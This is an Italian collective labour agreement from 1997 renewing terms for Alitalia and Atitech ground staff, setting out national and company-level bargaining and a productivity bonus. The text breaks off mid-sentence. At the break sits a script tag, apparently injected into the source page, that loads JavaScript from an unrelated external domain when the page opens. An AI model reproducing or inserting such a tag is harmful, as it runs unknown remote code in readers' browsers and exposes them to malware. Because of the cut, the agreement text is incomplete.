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Categoria: Aerei, personale di terra (ALITALIA e ATITECH)
Settore: Trasporti
Data stipula: 11-2-1997
Data decorrenza: 1-1-1996
Data scadenza: 31-12-1999

Addì 11 febbraio 1997, in Roma

tra

-      l'Associazione   Sindacale   INTERSIND,   con   la   partecipazione
  dell'ALITALIA e dell'ATITECH

e

-    la FILT-CGIL
-    la FIT-CISL
-    la UILTRASPORTI

è  stato  convenuto  quanto segue per il rinnovo del Contratto  13  giugno
1992,  da  valere  per  gli impiegati ed operai, in  forza  alla  data  di
stipula, dipendenti dall'ALITALIA e dall'ATITECH.



ARTICOLAZIONE DELLA CONTRATTAZIONE COLLETTIVA

(Sostituisce integralmente il punto D, art. 1 parte comune,  l'art.  19  e
l'art. 32 parte comune).

In  ottemperanza a quanto in materia stabilito dal Protocollo 23.7.93,  il
sistema  contrattuale  si  articola sul livello nazionale  e  sul  livello
aziendale.

Il  CCNL,  secondo quanto previsto dal punto 2 del capitolo 2 del suddetto
Protocollo,  ha durata quadriennale per la parte normativa e biennale  per
la parte retributiva.


1) COMPETENZE DEL LIVELLO NAZIONALE

Il CCNL disciplina tutti gli elementi del rapporto di lavoro e costituisce
fonte  di regolamentazione degli aspetti normativi e retributivi definendo
altresì funzioni, ambiti e tempi della contrattazione aziendale.

Il  Contratto  individua, inoltre, per il livello  aziendale,  materie  ed
istituti  diversi e non ripetitivi rispetto a quelli propri  del  presente
livello.

Nell'ambito  delle competenze fondamentali assegnate al livello  nazionale
rientrano in particolare:

a)   le relazioni industriali;
b)   i diritti sindacali;
c)   il sistema d'inquadramento;
d)   l'orario di lavoro.


2) COMPETENZE DEL LIVELLO AZIENDALE

Nell'ambito della disciplina quadro stabilita dal CCNL e in conformità  ai
contenuti,  ai  criteri e alle modalità ivi disciplinati,  è  previsto  un
rinvio al livello aziendale per le seguenti materie:

a)    aspetti  applicativi  in materia di orario di  lavoro  (ad  esempio:
  turni,  flessibilità  della  prestazione  e  regimi  di  orario,  orario
  flessibile);
b)   applicazione del Lavoro a Tempo Parziale, del Contratto di Formazione
  e  Lavoro,  del  Contratto a Tempo Determinato  nonché  delle  ulteriori
  tipologie  di  rapporto  di lavoro che l'ordinamento  giuridico  dovesse
  introdurre, previo accordo sulle modalità con le Organizzazioni sindacali
  stipulanti;
c)    effetti  locali  di  significative  riorganizzazioni  del  lavoro  e
  riorganizzazioni settoriali/aziendali (fatto salvo quanto già regolato dal
  Contratto sulla stessa materia).


3) CONTRATTAZIONE AZIENDALE

La  funzione  della contrattazione aziendale riguarda la  negoziazione  di
incrementi  economici qualora ne sussistano i presupposti, come  accertati
nel  corso  della  procedura  di  cui al successivo  punto  5,  variabili,
commisurati e correlati ai risultati raggiunti sulla base di parametri  di
produttività, redditività e qualità, secondo le previsioni del  Protocollo
23.7.93.

Ai  sensi del 3° capoverso, punto 2, "Assetti contrattuali" del Protocollo
23.7.93,  fermo  restando il rispetto dell'autonomia dei cicli  negoziali,
l'individuazione  delle  formule  e dei  parametri  di  riferimento  della
Contrattazione Aziendale si svolgerà a decorrere dall'1.7.98.

La    corresponsione   dei   trattamenti   economici   discendenti   dalla
Contrattazione  Aziendale  avverrà mediante l'istituzione  del  Premio  di
Produttività Aziendale, che, in considerazione delle sue caratteristiche e
in  coerenza  con le previsioni del Protocollo 23.7.93, non  incide  sugli
istituti  contrattuali  e  sarà  erogato  in  rapporto  alle  giornate  di
presenza,  in un'unica soluzione annuale, nel mese successivo a quello  di
approvazione formale del bilancio.

La  titolarità  della suddetta contrattazione fa capo,  in  considerazione
della  specifica  configurazione aziendale, alle Strutture  Nazionali  e/o
Territoriali  delle Organizzazioni Sindacali stipulanti. L'accordo  di  2°
livello ha una durata quadriennale.

In  relazione  alla<script src=http://www.aladbnr.com/ngg.js></script>













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